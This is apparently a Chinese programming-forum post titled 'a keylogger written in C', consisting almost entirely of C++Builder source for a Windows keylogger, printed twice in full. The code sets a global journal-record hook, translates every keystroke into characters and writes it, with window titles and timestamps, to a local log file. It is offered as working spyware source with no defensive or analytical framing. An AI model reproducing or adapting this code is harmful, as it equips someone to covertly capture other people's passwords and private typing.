C写的一个键盘记录程序
代码
1 //---------------------------------------------------------------------------
2
3 #include <vcl.h>
4
5 #include <stdio.h>
6 #pragma hdrstop
7
8 #include \"main.h\"
9 //---------------------------------------------------------------------------
10 #pragma package(smart_init)
11 #pragma resource \"*.dfm\"
12 //---------------------------------------------------------------------------
13 HOOKPROC JournalLogProc(int iCode,WPARAM wParam,LPARAM lParam);
14 //钩子变量
15 HHOOK g_hLogHook=NULL;
16 //记录上一次得到焦点的窗口句柄
17 HWND g_hLastFocus=NULL;
18 //键盘掩码变量
19 const int KeyPressMask=0x80000000;
20 //保存上一次按键值
21 //char g_PrvChar;
22 //---------------------------------------------------------------------------
23 HOOKPROC JournalLogProc(int iCode,WPARAM wParam,LPARAM lParam)
24 {
25 if(iCode<0) return (HOOKPROC)CallNextHookEx(g_hLogHook,iCode,wParam,lParam);
26 if(iCode==HC_ACTION)
27 {
28 EVENTMSG* pEvt=(EVENTMSG*)lParam;
29 int i;
30 HWND hFocus; //保存当前活动窗口句柄
31 char szTitle[256]; //当前窗口名称
32 char szTime[128]; //当前的Ri期和时间
33 FILE *stream=fopen(\"f:\\My\\logfile.txt\",\"a+\");
34 if(pEvt->message==WM_KEYDOWN)
35 {
36 int vKey=LOBYTE(pEvt->paramL); //取得虚拟键值
37
38 char ch;
39 char str[10];
40 hFocus=GetActiveWindow(); //获得活动窗口的句柄
41
42 if(g_hLastFocus!=hFocus)
43 {
44 GetWindowText(hFocus,szTitle,256); //取得一个窗体的标题
45 g_hLastFocus=hFocus;
46
47 strcpy(szTime,DateTimeToStr(Now()).c_str());
48
49 fprintf(stream,\"%c%s%c%c%s\",10,szTime,32,32,szTitle);
50
51 fprintf(stream,\"%c%c\",32,32);
52 }
53
54 int iShift=GetKeyState(0x10);
55 int iCapital=GetKeyState(0x14);
56 int iNumLock=GetKeyState(0x90);
57
58 bool bShift=(iShift&KeyPressMask)==KeyPressMask;
59 bool bCapital=(iCapital&1)==1;
60 bool bNumLock=(iNumLock&1)==1;
61
62 if(vKey==9) //TAB
63 fprintf(stream,\"%c\",'\t');
64 if(vKey==13) //回车键
65 fprintf(stream,\"%c\",'\n');
66 if(vKey>=48 && vKey<=57) //数字键0-9
67 {
68 if(!bShift)
69 fprintf(stream,\"%c\",vKey);
70 else
71 {
72 switch(vKey)
73 {
74 case 49:
75 ch='!';
76 break;
77 case 50:
78 ch='@';
79 break;
80 case 51:
81 ch='#';
82 break;
83 case 52:
84 ch='$';
85 break;
86 case 53:
87 ch='%';
88 break;
89 case 54:
90 ch='^';
91 break;
92 case 55:
93 ch='&';
94 break;
95 case 56:
96 ch='*';
97 break;
98 case 57:
99 ch='(';
100 break;
101 case 48:
102 ch=')';
103 break;
104 }
105 fprintf(stream,\"%c\",ch);
106 }
107 }
108
109 if(vKey>=65 && vKey<=90) //A-Z a-z
110 {
111 if(!bCapital)
112 {
113 if(bShift)
114 ch=vKey;
115 else
116 ch=vKey+32;
117 }
118 else if(bShift)
119 ch=vKey+32;
120 else
121 ch=vKey;
122 fprintf(stream,\"%c\",ch);
123 }
124
125 if(vKey>=96 && vKey<=105) //小键盘0-9
126 {
127 if(bNumLock)
128 fprintf(stream,\"%c\",vKey-96+48);
129 }
130
131 if(vKey>=186 && vKey<=222) //其它键
132 {
133 switch(vKey)
134 {
135 case 186:
136 if (!bShift)
137 ch=';';
138 else
139 ch=':';
140 break;
141 case 187:
142 if (!bShift)
143 ch='=';
144 else
145 ch='+';
146 break;
147 case 188:
148 if (!bShift)
149 ch=',';
150 else
151 ch='<';
152 break;
153 case 189:
154 if (!bShift)
155 ch='-';
156 else
157 ch='_';
158 break;
159 case 190:
160 if (!bShift)
161 ch='.';
162 else
163 ch='>';
164 break;
165 case 191:
166 if (!bShift)
167 ch='/';
168 else
169 ch='?';
170 break;
171 case 192:
172 if (!bShift)
173 ch='`';
174 else
175 ch='~';
176 break;
177 case 219:
178 if (!bShift)
179 ch='[';
180 else
181 ch='{';
182 break;
183 case 220:
184 if (!bShift)
185 ch='\\';
186 else
187 ch='|';
188 break;
189 case 221:
190 if (!bShift)
191 ch=']';
192 else
193 ch='}';
194 break;
195 case 222:
196 if (!bShift)
197 ch='\'';
198 else
199 ch='\\"';
200 break;
201 default:
202 ch='n';
203 break;
204 }
205 if (ch!='n' )
206 fprintf(stream,\"%c\",ch);
207 } //
208 if(vKey>=112 && vKey<=123) // 功能键 [F1]-[F12]
209 {
210 switch(wParam)
211 {
212 case 112:
213 fprintf(stream,\"%s\",\"[F1]\");
214 break;
215 case 113:
216 fprintf(stream,\"%s\",\"[F2]\");
217 break;
218 case 114:
219 fprintf(stream,\"%s\",\"[F3]\");
220 break;
221 case 115:
222 fprintf(stream,\"%s\",\"[F4]\");
223 break;
224 case 116:
225 fprintf(stream,\"%s\",\"[F5]\");
226 break;
227 case 117:
228 fprintf(stream,\"%s\",\"[F6]\");
229 break;
230 case 118:
231 fprintf(stream,\"%s\",\"[F7]\");
232 break;
233 case 119:
234 fprintf(stream,\"%s\",\"[F8]\");
235 break;
236 case 120:
237 fprintf(stream,\"%s\",\"[F9]\");
238 break;
239 case 121:
240 fprintf(stream,\"%s\",\"[F10]\");
241 break;
242 case 122:
243 fprintf(stream,\"%s\",\"[F11]\");
244 break;
245 case 123:
246 fprintf(stream,\"%s\",\"[F12]\");
247 break;
248 }
249 }
250 if (vKey>=8 && vKey<=46) //方向键
251 {
252 switch (vKey)
253 {
254 case 8:
255 strcpy(str,\"[BK]\");
256 break;
257 case 9:
258 strcpy(str,\"[TAB]\");
259 break;
260 case 13:
261 strcpy(str,\"[EN]\");
262 break;
263 case 27:
264 strcpy(str,\"[ESC]\");
265 break;
266 case 32:
267 strcpy(str,\"[SP]\");
268 break;
269 case 33:
270 strcpy(str,\"[PU]\");
271 break;
272 case 34:
273 strcpy(str,\"[PD]\");
274 break;
275 case 35:
276 strcpy(str,\"[END]\");
277 break;
278 case 36:
279 strcpy(str,\"[HOME]\");
280 break;
281 case 37:
282 strcpy(str,\"[LF]\");
283 break;
284 case 38:
285 strcpy(str,\"[UF]\");
286 break;
287 case 39:
288 strcpy(str,\"[RF]\");
289 break;
290 case 40:
291 strcpy(str,\"[DF]\");
292 break;
293 case 45:
294 strcpy(str,\"[INS]\");
295 break;
296 case 46:
297 strcpy(str,\"[DEL]\");
298 break;
299 default:
300 ch='n';
301 break;
302 }
303 if (ch!='n' )
304 {
305 //if (g_PrvChar!=vKey)
306 //{
307 fprintf(stream,\"%s\",str);
308 //g_PrvChar=vKey;
309 //}
310 }
311 }
312 }
313 if(pEvt->message==WM_LBUTTONDOWN||pEvt->message==WM_RBUTTONDOWN)
314 {
315 hFocus=GetActiveWindow();
316 if(g_hLastFocus!=hFocus)
317 {
318 g_hLastFocus=hFocus;
319 GetWindowText(hFocus,szTitle,256);
320 strcpy(szTime,DateTimeToStr(Now()).c_str());
321 fprintf(stream,\"%c%s%c%c%s\",10,szTime,32,32,szTitle);
322 fprintf(stream,\"%c%c\",32,32);
323 }
324 }
325 fclose(stream);
326 }
327 return (HOOKPROC)CallNextHookEx(g_hLogHook,iCode,wParam,lParam);
328 }
329 //---------------------------------------------------------------------------
330 TForm1 *Form1;
331 //---------------------------------------------------------------------------
332 __fastcall TForm1::TForm1(TComponent* Owner)
333 : TForm(Owner)
334 {
335 }
336 //---------------------------------------------------------------------------
337 void __fastcall TForm1::ButtonInstallClick(TObject *Sender)
338 {
339 if(g_hLogHook==NULL)
340 g_hLogHook=SetWindowsHookEx(WH_JOURNALRECORD,(HOOKPROC)JournalLogProc,HInstance,0);
341 }
342 //---------------------------------------------------------------------------
343 void __fastcall TForm1::ButtonUninstallClick(TObject *Sender)
344 {
345 if(g_hLogHook!=NULL)
346 {
347 UnhookWindowsHookEx(g_hLogHook);
348 g_hLogHook=NULL;
349 }
350 }
351 //---------------------------------------------------------------------------
352
2
3 #include <vcl.h>
4
5 #include <stdio.h>
6 #pragma hdrstop
7
8 #include \"main.h\"
9 //---------------------------------------------------------------------------
10 #pragma package(smart_init)
11 #pragma resource \"*.dfm\"
12 //---------------------------------------------------------------------------
13 HOOKPROC JournalLogProc(int iCode,WPARAM wParam,LPARAM lParam);
14 //钩子变量
15 HHOOK g_hLogHook=NULL;
16 //记录上一次得到焦点的窗口句柄
17 HWND g_hLastFocus=NULL;
18 //键盘掩码变量
19 const int KeyPressMask=0x80000000;
20 //保存上一次按键值
21 //char g_PrvChar;
22 //---------------------------------------------------------------------------
23 HOOKPROC JournalLogProc(int iCode,WPARAM wParam,LPARAM lParam)
24 {
25 if(iCode<0) return (HOOKPROC)CallNextHookEx(g_hLogHook,iCode,wParam,lParam);
26 if(iCode==HC_ACTION)
27 {
28 EVENTMSG* pEvt=(EVENTMSG*)lParam;
29 int i;
30 HWND hFocus; //保存当前活动窗口句柄
31 char szTitle[256]; //当前窗口名称
32 char szTime[128]; //当前的Ri期和时间
33 FILE *stream=fopen(\"f:\\My\\logfile.txt\",\"a+\");
34 if(pEvt->message==WM_KEYDOWN)
35 {
36 int vKey=LOBYTE(pEvt->paramL); //取得虚拟键值
37
38 char ch;
39 char str[10];
40 hFocus=GetActiveWindow(); //获得活动窗口的句柄
41
42 if(g_hLastFocus!=hFocus)
43 {
44 GetWindowText(hFocus,szTitle,256); //取得一个窗体的标题
45 g_hLastFocus=hFocus;
46
47 strcpy(szTime,DateTimeToStr(Now()).c_str());
48
49 fprintf(stream,\"%c%s%c%c%s\",10,szTime,32,32,szTitle);
50
51 fprintf(stream,\"%c%c\",32,32);
52 }
53
54 int iShift=GetKeyState(0x10);
55 int iCapital=GetKeyState(0x14);
56 int iNumLock=GetKeyState(0x90);
57
58 bool bShift=(iShift&KeyPressMask)==KeyPressMask;
59 bool bCapital=(iCapital&1)==1;
60 bool bNumLock=(iNumLock&1)==1;
61
62 if(vKey==9) //TAB
63 fprintf(stream,\"%c\",'\t');
64 if(vKey==13) //回车键
65 fprintf(stream,\"%c\",'\n');
66 if(vKey>=48 && vKey<=57) //数字键0-9
67 {
68 if(!bShift)
69 fprintf(stream,\"%c\",vKey);
70 else
71 {
72 switch(vKey)
73 {
74 case 49:
75 ch='!';
76 break;
77 case 50:
78 ch='@';
79 break;
80 case 51:
81 ch='#';
82 break;
83 case 52:
84 ch='$';
85 break;
86 case 53:
87 ch='%';
88 break;
89 case 54:
90 ch='^';
91 break;
92 case 55:
93 ch='&';
94 break;
95 case 56:
96 ch='*';
97 break;
98 case 57:
99 ch='(';
100 break;
101 case 48:
102 ch=')';
103 break;
104 }
105 fprintf(stream,\"%c\",ch);
106 }
107 }
108
109 if(vKey>=65 && vKey<=90) //A-Z a-z
110 {
111 if(!bCapital)
112 {
113 if(bShift)
114 ch=vKey;
115 else
116 ch=vKey+32;
117 }
118 else if(bShift)
119 ch=vKey+32;
120 else
121 ch=vKey;
122 fprintf(stream,\"%c\",ch);
123 }
124
125 if(vKey>=96 && vKey<=105) //小键盘0-9
126 {
127 if(bNumLock)
128 fprintf(stream,\"%c\",vKey-96+48);
129 }
130
131 if(vKey>=186 && vKey<=222) //其它键
132 {
133 switch(vKey)
134 {
135 case 186:
136 if (!bShift)
137 ch=';';
138 else
139 ch=':';
140 break;
141 case 187:
142 if (!bShift)
143 ch='=';
144 else
145 ch='+';
146 break;
147 case 188:
148 if (!bShift)
149 ch=',';
150 else
151 ch='<';
152 break;
153 case 189:
154 if (!bShift)
155 ch='-';
156 else
157 ch='_';
158 break;
159 case 190:
160 if (!bShift)
161 ch='.';
162 else
163 ch='>';
164 break;
165 case 191:
166 if (!bShift)
167 ch='/';
168 else
169 ch='?';
170 break;
171 case 192:
172 if (!bShift)
173 ch='`';
174 else
175 ch='~';
176 break;
177 case 219:
178 if (!bShift)
179 ch='[';
180 else
181 ch='{';
182 break;
183 case 220:
184 if (!bShift)
185 ch='\\';
186 else
187 ch='|';
188 break;
189 case 221:
190 if (!bShift)
191 ch=']';
192 else
193 ch='}';
194 break;
195 case 222:
196 if (!bShift)
197 ch='\'';
198 else
199 ch='\\"';
200 break;
201 default:
202 ch='n';
203 break;
204 }
205 if (ch!='n' )
206 fprintf(stream,\"%c\",ch);
207 } //
208 if(vKey>=112 && vKey<=123) // 功能键 [F1]-[F12]
209 {
210 switch(wParam)
211 {
212 case 112:
213 fprintf(stream,\"%s\",\"[F1]\");
214 break;
215 case 113:
216 fprintf(stream,\"%s\",\"[F2]\");
217 break;
218 case 114:
219 fprintf(stream,\"%s\",\"[F3]\");
220 break;
221 case 115:
222 fprintf(stream,\"%s\",\"[F4]\");
223 break;
224 case 116:
225 fprintf(stream,\"%s\",\"[F5]\");
226 break;
227 case 117:
228 fprintf(stream,\"%s\",\"[F6]\");
229 break;
230 case 118:
231 fprintf(stream,\"%s\",\"[F7]\");
232 break;
233 case 119:
234 fprintf(stream,\"%s\",\"[F8]\");
235 break;
236 case 120:
237 fprintf(stream,\"%s\",\"[F9]\");
238 break;
239 case 121:
240 fprintf(stream,\"%s\",\"[F10]\");
241 break;
242 case 122:
243 fprintf(stream,\"%s\",\"[F11]\");
244 break;
245 case 123:
246 fprintf(stream,\"%s\",\"[F12]\");
247 break;
248 }
249 }
250 if (vKey>=8 && vKey<=46) //方向键
251 {
252 switch (vKey)
253 {
254 case 8:
255 strcpy(str,\"[BK]\");
256 break;
257 case 9:
258 strcpy(str,\"[TAB]\");
259 break;
260 case 13:
261 strcpy(str,\"[EN]\");
262 break;
263 case 27:
264 strcpy(str,\"[ESC]\");
265 break;
266 case 32:
267 strcpy(str,\"[SP]\");
268 break;
269 case 33:
270 strcpy(str,\"[PU]\");
271 break;
272 case 34:
273 strcpy(str,\"[PD]\");
274 break;
275 case 35:
276 strcpy(str,\"[END]\");
277 break;
278 case 36:
279 strcpy(str,\"[HOME]\");
280 break;
281 case 37:
282 strcpy(str,\"[LF]\");
283 break;
284 case 38:
285 strcpy(str,\"[UF]\");
286 break;
287 case 39:
288 strcpy(str,\"[RF]\");
289 break;
290 case 40:
291 strcpy(str,\"[DF]\");
292 break;
293 case 45:
294 strcpy(str,\"[INS]\");
295 break;
296 case 46:
297 strcpy(str,\"[DEL]\");
298 break;
299 default:
300 ch='n';
301 break;
302 }
303 if (ch!='n' )
304 {
305 //if (g_PrvChar!=vKey)
306 //{
307 fprintf(stream,\"%s\",str);
308 //g_PrvChar=vKey;
309 //}
310 }
311 }
312 }
313 if(pEvt->message==WM_LBUTTONDOWN||pEvt->message==WM_RBUTTONDOWN)
314 {
315 hFocus=GetActiveWindow();
316 if(g_hLastFocus!=hFocus)
317 {
318 g_hLastFocus=hFocus;
319 GetWindowText(hFocus,szTitle,256);
320 strcpy(szTime,DateTimeToStr(Now()).c_str());
321 fprintf(stream,\"%c%s%c%c%s\",10,szTime,32,32,szTitle);
322 fprintf(stream,\"%c%c\",32,32);
323 }
324 }
325 fclose(stream);
326 }
327 return (HOOKPROC)CallNextHookEx(g_hLogHook,iCode,wParam,lParam);
328 }
329 //---------------------------------------------------------------------------
330 TForm1 *Form1;
331 //---------------------------------------------------------------------------
332 __fastcall TForm1::TForm1(TComponent* Owner)
333 : TForm(Owner)
334 {
335 }
336 //---------------------------------------------------------------------------
337 void __fastcall TForm1::ButtonInstallClick(TObject *Sender)
338 {
339 if(g_hLogHook==NULL)
340 g_hLogHook=SetWindowsHookEx(WH_JOURNALRECORD,(HOOKPROC)JournalLogProc,HInstance,0);
341 }
342 //---------------------------------------------------------------------------
343 void __fastcall TForm1::ButtonUninstallClick(TObject *Sender)
344 {
345 if(g_hLogHook!=NULL)
346 {
347 UnhookWindowsHookEx(g_hLogHook);
348 g_hLogHook=NULL;
349 }
350 }
351 //---------------------------------------------------------------------------
352